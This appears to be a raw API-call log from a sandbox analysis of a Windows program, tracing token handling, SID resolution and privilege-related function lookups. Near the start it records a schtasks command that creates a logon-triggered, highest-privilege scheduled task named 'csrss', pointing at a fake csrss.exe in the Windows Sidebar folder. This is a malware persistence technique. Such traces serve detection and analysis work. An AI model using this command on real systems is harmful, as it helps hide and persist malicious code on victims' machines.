CreateEnvironmentBlock () returned 0x1 [0057.495] memcpy (in: _Dst=0xebcf20, _Src=0xebdcf0, _Size=0x68 | out: _Dst=0xebcf20) returned 0xebcf20 [0057.495] malloc (_Size=0x18) returned 0xef080 [0057.495] CreateProcessAsUserW (in: hToken=0x2d4, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"csrss\" /sc ONLOGON /tr \"'C:\\Program Files (x86)\\Windows Sidebar\\csrss.exe'\" /rl HIGHEST /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x37b3d0, lpCurrentDirectory=0x0, lpStartupInfo=0xebcf20*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xebcdc0 | out: lpCommandLine="schtasks.exe /create /tn \"csrss\" /sc ONLOGON /tr \"'C:\\Program Files (x86)\\Windows Sidebar\\csrss.exe'\" /rl HIGHEST /f", lpProcessInformation=0xebcdc0*(hProcess=0x248, hThread=0x24c, dwProcessId=0xed0, dwThreadId=0xed4)) returned 1 [0057.516] CloseHandle (hObject=0x248) returned 1 [0057.516] CloseHandle (hObject=0x24c) returned 1 [0057.517] free (_Block=0xef080) [0057.517] DestroyEnvironmentBlock () returned 0x1 [0057.517] malloc (_Size=0x48) returned 0xed2c0 [0057.517] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xebcc38 | out: lpSystemTimeAsFileTime=0xebcc38*(dwLowDateTime=0x4b6d9520, dwHighDateTime=0x1d9eb0c)) [0057.517] malloc (_Size=0x10) returned 0xef080 [0057.517] SetEvent (hEvent=0x1f0) returned 1 [0057.521] CloseHandle (hObject=0x2e0) returned 1 [0057.521] CloseHandle (hObject=0x2d4) returned 1 [0057.646] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x4) returned 0x31da90 [0057.646] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x31da90, pulNumLanguages=0xebe4d0 | out: pulNumLanguages=0xebe4d0) returned 1 [0057.646] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x31da90 | out: hHeap=0x2e0000) returned 1 [0058.043] SetLastError (dwErrCode=0x0) [0058.043] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xebe3e0 | out: pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xebe3e0) returned 1 [0058.043] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x8) returned 0x31da80 [0058.043] SetLastError (dwErrCode=0x0) [0058.043] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x31da80, pcchLanguagesBuffer=0xebe3e0 | out: pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x31da80, pcchLanguagesBuffer=0xebe3e0) returned 1 [0058.043] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x8) returned 0x31da90 [0058.044] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x31da80 | out: hHeap=0x2e0000) returned 1 [0058.044] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x14) returned 0x34f510 [0058.044] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x34f510, pulNumLanguages=0xebe4d8 | out: pulNumLanguages=0xebe4d8) returned 1 [0058.044] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x34f510 | out: hHeap=0x2e0000) returned 1 [0058.045] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0058.046] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0058.046] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0058.047] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0058.047] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0058.047] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0058.047] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0058.050] memcpy (in: _Dst=0xebdcf0, _Src=0xebdc70, _Size=0x68 | out: _Dst=0xebdcf0) returned 0xebdcf0 [0058.050] GetCurrentThread () returned 0xfffffffffffffffe [0058.050] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0xebce60 | out: TokenHandle=0xebce60*=0x2d4) returned 1 [0058.050] malloc (_Size=0xd8) returned 0xf3750 [0058.050] LoadLibraryW (lpLibFileName="ADVAPI32.DLL") returned 0x7feffcb0000 [0058.050] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaEnumerateTrustedDomains") returned 0x7feffcf8200 [0058.051] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaQueryInformationPolicy") returned 0x7feffcd20b0 [0058.051] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaNtStatusToWinError") returned 0x7feffcf7e40 [0058.051] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaFreeMemory") returned 0x7feffcbe390 [0058.051] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaOpenPolicy") returned 0x7feffcd0b40 [0058.051] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaClose") returned 0x7feffcd2040 [0058.052] GetProcAddress (hModule=0x7feffcb0000, lpProcName="QueryServiceStatusEx") returned 0x7feffcb7004 [0058.052] GetProcAddress (hModule=0x7feffcb0000, lpProcName="DuplicateTokenEx") returned 0x7feffcbd310 [0058.052] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetSecurityDescriptorControl") returned 0x7feffcd3fe4 [0058.052] GetProcAddress (hModule=0x7feffcb0000, lpProcName="ConvertToAutoInheritPrivateObjectSecurity") returned 0x7feffceb828 [0058.053] GetProcAddress (hModule=0x7feffcb0000, lpProcName="DestroyPrivateObjectSecurity") returned 0x7feffcbf924 [0058.053] GetProcAddress (hModule=0x7feffcb0000, lpProcName="CheckTokenMembership") returned 0x7feffcbd980 [0058.053] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAccessAllowedObjectAce") returned 0x7feffceba94 [0058.053] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAccessDeniedObjectAce") returned 0x7feffceba30 [0058.053] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAuditAccessObjectAce") returned 0x7feffceb9a8 [0058.054] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetNamedSecurityInfoW") returned 0x7feffcb89a0 [0058.054] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetNamedSecurityInfoW") returned 0x7feffcbf990 [0058.054] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetNamedSecurityInfoExW") returned 0x7feffd0dc00 [0058.054] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetExplicitEntriesFromAclW") returned 0x7feffcf56a0 [0058.055] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetEffectiveRightsFromAclW") returned 0x7feffcf56f0 [0058.055] malloc (_Size=0x18) returned 0xef040 [0058.055] DuplicateTokenEx (in: hExistingToken=0x2d4, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0xebce68 | out: phNewToken=0xebce68*=0x2e0) returned 1 [0058.055] malloc (_Size=0x48) returned 0xed270 [0058.055] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xebcc38 | out: lpSystemTimeAsFileTime=0xebcc38*(dwLowDateTime=0x4bc0e540, dwHighDateTime=0x1d9eb0c)) [0058.055] SetEvent (hEvent=0x1f0) returned 1 [0058.061] GetTokenInformation (in: TokenHandle=0x2d4, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xebcd80 | out: TokenInformation=0x0, ReturnLength=0xebcd80) returned 0 [0058.061] GetLastError () returned 0x7a [0058.061] malloc (_Size=0x2c) returned 0xee200 [0058.061] GetTokenInformation (in: TokenHandle=0x2d4, TokenInformationClass=0x1, TokenInformation=0xee200, TokenInformationLength=0x2c, ReturnLength=0xebcd80 | out: TokenInformation=0xee200, ReturnLength=0xebcd80) returned 1 [0058.061] IsValidSid (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0058.061] GetLengthSid (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0058.061] malloc (_Size=0x1c) returned 0xeff00 [0058.061] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0xeff00, pSourceSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0xeff00*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0058.061] GetSidIdentifierAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee212 [0058.062] malloc (_Size=0x18) returned 0xeeee0 [0058.062] _ultow (in: _Dest=0x5, _Radix=15453152 | out: _Dest=0x5) returned="5" [0058.062] malloc (_Size=0x18) returned 0xeef00 [0058.062] malloc (_Size=0x18) returned 0xeef20 [0058.062] SysStringLen (param_1="S-1-") returned 0x4 [0058.062] SysStringLen (param_1="5") returned 0x1 [0058.062] memcpy (in: _Dst=0x35e998, _Src=0x346eb8, _Size=0xa | out: _Dst=0x35e998) returned 0x35e998 [0058.062] memcpy (in: _Dst=0x35e9a0, _Src=0x35ec98, _Size=0x4 | out: _Dst=0x35e9a0) returned 0x35e9a0 [0058.062] free (_Block=0xeeee0) [0058.062] free (_Block=0xeef00) [0058.062] GetSidSubAuthorityCount (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee211 [0058.062] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0xee218 [0058.062] _ultow (in: _Dest=0x15, _Radix=15453152 | out: _Dest=0x15) returned="21" [0058.062] malloc (_Size=0x18) returned 0xeef00 [0058.062] malloc (_Size=0x18) returned 0xeeee0 [0058.063] SysStringLen (param_1="S-1-5") returned 0x5 [0058.063] SysStringLen (param_1="-") returned 0x1 [0058.063] memcpy (in: _Dst=0x35ec98, _Src=0x35e998, _Size=0xc | out: _Dst=0x35ec98) returned 0x35ec98 [0058.063] memcpy (in: _Dst=0x35eca2, _Src=0x346eb8, _Size=0x4 | out: _Dst=0x35eca2) returned 0x35eca2 [0058.063] free (_Block=0xeef20) [0058.063] free (_Block=0xeef00) [0058.063] malloc (_Size=0x18) returned 0xeef00 [0058.063] malloc (_Size=0x18) returned 0xeef20 [0058.063] SysStringLen (param_1="S-1-5-") returned 0x6 [0058.063] SysStringLen (param_1="21") returned 0x2 [0058.063] memcpy (in: _Dst=0x346eb8, _Src=0x35ec98, _Size=0xe | out: _Dst=0x346eb8) returned 0x346eb8 [0058.063] memcpy (in: _Dst=0x346ec4, _Src=0x35e998, _Size=0x6 | out: _Dst=0x346ec4) returned 0x346ec4 [0058.063] free (_Block=0xeeee0) [0058.064] free (_Block=0xeef00) [0058.064] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0xee21c [0058.064] _ultow (in: _Dest=0xfb7f942f, _Radix=15453152 | out: _Dest=0xfb7f942f) returned="4219442223" [0058.064] malloc (_Size=0x18) returned 0xeef00 [0058.064] malloc (_Size=0x18) returned 0xeeee0 [0058.064] SysStringLen (param_1="S-1-5-21") returned 0x8 [0058.064] SysStringLen (param_1="-") returned 0x1 [0058.064] memcpy (in: _Dst=0x35e998, _Src=0x346eb8, _Size=0x12 | out: _Dst=0x35e998) returned 0x35e998 [0058.064] memcpy (in: _Dst=0x35e9a8, _Src=0x35ec98, _Size=0x4 | out: _Dst=0x35e9a8) returned 0x35e9a8 [0058.064] free (_Block=0xeef20) [0058.064] free (_Block=0xeef00) [0058.064] malloc (_Size=0x18) returned 0xeef00 [0058.064] malloc (_Size=0x18) returned 0xeef20 [0058.064] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0058.064] SysStringLen (param_1="4219442223") returned 0xa [0058.064] memcpy (in: _Dst=0x337a58, _Src=0x35e998, _Size=0x14 | out: _Dst=0x337a58) returned 0x337a58 [0058.064] memcpy (in: _Dst=0x337a6a, _Src=0x346eb8, _Size=0x16 | out: _Dst=0x337a6a) returned 0x337a6a [0058.064] free (_Block=0xeeee0) [0058.065] free (_Block=0xeef00) [0058.065] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0xee220 [0058.065] _ultow (in: _Dest=0xfbc24a41, _Radix=15453152 | out: _Dest=0xfbc24a41) returned="4223814209" [0058.065] malloc (_Size=0x18) returned 0xeef00 [0058.065] malloc (_Size=0x18) returned 0xeeee0 [0058.065] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0058.065] SysStringLen (param_1="-") returned 0x1 [0058.065] memcpy (in: _Dst=0x338368, _Src=0x337a58, _Size=0x28 | out: _Dst=0x338368) returned 0x338368 [0058.065] memcpy (in: _Dst=0x33838e, _Src=0x35e998, _Size=0x4 | out: _Dst=0x33838e) returned 0x33838e [0058.065] free (_Block=0xeef20) [0058.065] free (_Block=0xeef00) [0058.065] malloc (_Size=0x18) returned 0xeef00 [0058.065] malloc (_Size=0x18) returned 0xeef20 [0058.065] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0058.065] SysStringLen (param_1="4223814209") returned 0xa [0058.065] memcpy (in: _Dst=0x34da68, _Src=0x338368, _Size=0x2a | out: _Dst=0x34da68) returned 0x34da68 [0058.065] memcpy (in: _Dst=0x34da90, _Src=0x35e998, _Size=0x16 | out: _Dst=0x34da90) returned 0x34da90 [0058.066] free (_Block=0xeeee0) [0058.066] free (_Block=0xeef00) [0058.066] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0xee224 [0058.066] _ultow (in: _Dest=0xe49636b4, _Radix=15453152 | out: _Dest=0xe49636b4) returned="3835049652" [0058.066] malloc (_Size=0x18) returned 0xeef00 [0058.066] malloc (_Size=0x18) returned 0xeeee0 [0058.066] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0058.066] SysStringLen (param_1="-") returned 0x1 [0058.066] memcpy (in: _Dst=0x34db78, _Src=0x34da68, _Size=0x3e | out: _Dst=0x34db78) returned 0x34db78 [0058.066] memcpy (in: _Dst=0x34dbb4, _Src=0x35e998, _Size=0x4 | out: _Dst=0x34dbb4) returned 0x34dbb4 [0058.066] free (_Block=0xeef20) [0058.066] free (_Block=0xeef00) [0058.066] malloc (_Size=0x18) returned 0xeef00 [0058.066] malloc (_Size=0x18) returned 0xeef20 [0058.066] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0058.066] SysStringLen (param_1="3835049652") returned 0xa [0058.066] memcpy (in: _Dst=0x34da68, _Src=0x34db78, _Size=0x40 | out: _Dst=0x34da68) returned 0x34da68 [0058.066] memcpy (in: _Dst=0x34daa6, _Src=0x35e998, _Size=0x16 | out: _Dst=0x34daa6) returned 0x34daa6 [0058.067] free (_Block=0xeeee0) [0058.067] free (_Block=0xeef00) [0058.067] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0xee228 [0058.067] _ultow (in: _Dest=0x3e8, _Radix=15453152 | out: _Dest=0x3e8) returned="1000" [0058.067] malloc (_Size=0x18) returned 0xeef00 [0058.067] malloc (_Size=0x18) returned 0xeeee0 [0058.067] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0058.067] SysStringLen (param_1="-") returned 0x1 [0058.067] memcpy (in: _Dst=0x34db78, _Src=0x34da68, _Size=0x54 | out: _Dst=0x34db78) returned 0x34db78 [0058.067] memcpy (in: _Dst=0x34dbca, _Src=0x35e998, _Size=0x4 | out: _Dst=0x34dbca) returned 0x34dbca [0058.067] free (_Block=0xeef20) [0058.067] free (_Block=0xeef00) [0058.067] malloc (_Size=0x18) returned 0xeef00 [0058.067] malloc (_Size=0x18) returned 0xeef20 [0058.067] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0058.067] SysStringLen (param_1="1000") returned 0x4 [0058.067] memcpy (in: _Dst=0x34da68, _Src=0x34db78, _Size=0x56 | out: _Dst=0x34da68) returned 0x34da68 [0058.068] memcpy (in: _Dst=0x34dabc, _Src=0x35e998, _Size=0xa | out: _Dst=0x34dabc) returned 0x34dabc [0058.068] free (_Block=0xeeee0) [0058.068] free (_Block=0xeef00) [0058.068] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0058.068] malloc (_Size=0x5e) returned 0xf0800 [0058.068] free (_Block=0xeef20) [0058.068] malloc (_Size=0x18) returned 0xeef20 [0058.069] free (_Block=0xf0800) [0058.069] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xebcca4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0 | out: Name=0x0, cchName=0xebcca4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0) returned 0 [0058.070] GetLastError () returned 0x7a [0058.070] malloc (_Size=0x14) returned 0xeef00 [0058.070] malloc (_Size=0x16) returned 0xeeee0 [0058.070] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0xeef00, cchName=0xebcca4, ReferencedDomainName=0xeeee0, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0 | out: Name="kEecfMwgj", cchName=0xebcca4, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xebcca0, peUse=0xebcdb0) returned 1 [0058.070] malloc (_Size=0x18) returned 0xef020 [0058.070] malloc (_Size=0x18) returned 0xeef60 [0058.071] free (_Block=0xeef00) [0058.071] free (_Block=0xeeee0) [0058.071] free (_Block=0xeff00) [0058.071] free (_Block=0xeef60) [0058.071] free (_Block=0xef020) [0058.071] free (_Block=0xeef20) [0058.072] free (_Block=0xee200) [0058.072] GetVersionExW (in: lpVersionInformation=0xebcf90*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x9d14, dwMinorVersion=0x32a120, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xebcf90*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0058.072] GetTokenInformation (in: TokenHandle=0x2d4, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xebce18 | out: TokenInformation=0x0, ReturnLength=0xebce18) returned 0 [0058.072] GetLastError () returned 0x7a [0058.072] malloc (_Size=0x2c) returned 0xee240 [0058.072] GetTokenInformation (in: TokenHandle=0x2d4, TokenInformationClass=0x1, TokenInformation=0xee240, TokenInformationLength=0x2c, ReturnLength=0xebce18 | out: TokenInformation=0xee240, ReturnLength=0xebce18) returned 1 [0058.072] IsValidSid (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0058.072] GetLengthSid (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0058.073] malloc (_Size=0x1c) returned 0xeff00 [0058.073] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0xeff00, pSourceSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0xeff00*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0058.073] GetSidIdentifierAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee252 [0058.073] malloc (_Size=0x18) returned 0xeef20 [0058.073] _ultow (in: _Dest=0x5, _Radix=15453168 | out: _Dest=0x5) returned="5" [0058.073] malloc (_Size=0x18) returned 0xef020 [0058.073] malloc (_Size=0x18) returned 0xeef60 [0058.073] SysStringLen (param_1="S-1-") returned 0x4 [0058.073] SysStringLen (param_1="5") returned 0x1 [0058.073] memcpy (in: _Dst=0x346eb8, _Src=0x35ec98, _Size=0xa | out: _Dst=0x346eb8) returned 0x346eb8 [0058.073] memcpy (in: _Dst=0x346ec0, _Src=0x35e998, _Size=0x4 | out: _Dst=0x346ec0) returned 0x346ec0 [0058.073] free (_Block=0xeef20) [0058.073] free (_Block=0xef020) [0058.073] GetSidSubAuthorityCount (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee251 [0058.073] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0xee258 [0058.073] _ultow (in: _Dest=0x15, _Radix=15453168 | out: _Dest=0x15) returned="21" [0058.073] malloc (_Size=0x18) returned 0xef020 [0058.073] malloc (_Size=0x18) returned 0xeef20 [0058.073] SysStringLen (param_1="S-1-5") returned 0x5 [0058.073] SysStringLen (param_1="-") returned 0x1 [0058.074] memcpy (in: _Dst=0x35e998, _Src=0x346eb8, _Size=0xc | out: _Dst=0x35e998) returned 0x35e998 [0058.074] memcpy (in: _Dst=0x35e9a2, _Src=0x35ec98, _Size=0x4 | out: _Dst=0x35e9a2) returned 0x35e9a2 [0058.074] free (_Block=0xeef60) [0058.074] free (_Block=0xef020) [0058.074] malloc (_Size=0x18) returned 0xef020 [0058.074] malloc (_Size=0x18) returned 0xeef60 [0058.074] SysStringLen (param_1="S-1-5-") returned 0x6 [0058.074] SysStringLen (param_1="21") returned 0x2 [0058.074] memcpy (in: _Dst=0x35ec98, _Src=0x35e998, _Size=0xe | out: _Dst=0x35ec98) returned 0x35ec98 [0058.074] memcpy (in: _Dst=0x35eca4, _Src=0x346eb8, _Size=0x6 | out: _Dst=0x35eca4) returned 0x35eca4 [0058.074] free (_Block=0xeef20) [0058.074] free (_Block=0xef020) [0058.074] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0xee25c [0058.074] _ultow (in: _Dest=0xfb7f942f, _Radix=15453168 | out: _Dest=0xfb7f942f) returned="4219442223" [0058.074] malloc (_Size=0x18) returned 0xef020 [0058.074] malloc (_Size=0x18) returned 0xeef20 [0058.074] SysStringLen (param_1="S-1-5-21") returned 0x8 [0058.074] SysStringLen (param_1="-") returned 0x1 [0058.074] memcpy (in: _Dst=0x346eb8, _Src=0x35ec98, _Size=0x12 | out: _Dst=0x346eb8) returned 0x346eb8 [0058.074] memcpy (in: _Dst=0x346ec8, _Src=0x35e998, _Size=0x4 | out: _Dst=0x346ec8) returned 0x346ec8 [0058.075] free (_Block=0xeef60) [0058.075] free (_Block=0xef020) [0058.075] malloc (_Size=0x18) returned 0xef020 [0058.075] malloc (_Size=0x18) returned 0xeef60 [0058.075] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0058.075] SysStringLen (param_1="4219442223") returned 0xa [0058.075] memcpy (in: _Dst=0x337a58, _Src=0x346eb8, _Size=0x14 | out: _Dst=0x337a58) returned 0x337a58 [0058.075] memcpy (in: _Dst=0x337a6a, _Src=0x35ec98, _Size=0x16 | out: _Dst=0x337a6a) returned 0x337a6a [0058.075] free (_Block=0xeef20) [0058.075] free (_Block=0xef020) [0058.075] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0xee260 [0058.075] _ultow (in: _Dest=0xfbc24a41, _Radix=15453168 | out: _Dest=0xfbc24a41) returned="4223814209" [0058.075] malloc (_Size=0x18) returned 0xef020 [0058.075] malloc (_Size=0x18) returned 0xeef20 [0058.075] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0058.075] SysStringLen (param_1="-") returned 0x1 [0058.075] memcpy (in: _Dst=0x338368, _Src=0x337a58, _Size=0x28 | out: _Dst=0x338368) returned 0x338368 [0058.075] memcpy (in: _Dst=0x33838e, _Src=0x346eb8, _Size=0x4 | out: _Dst=0x33838e) returned 0x33838e [0058.075] free (_Block=0xeef60) [0058.075] free (_Block=0xef020) [0058.075] malloc (_Size=0x18) returned 0xef020 [0058.076] malloc (_Size=0x18) returned 0xeef60 [0058.076] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0058.076] SysStringLen (param_1="4223814209") returned 0xa [0058.076] memcpy (in: _Dst=0x34db78, _Src=0x338368, _Size=0x2a | out: _Dst=0x34db78) returned 0x34db78 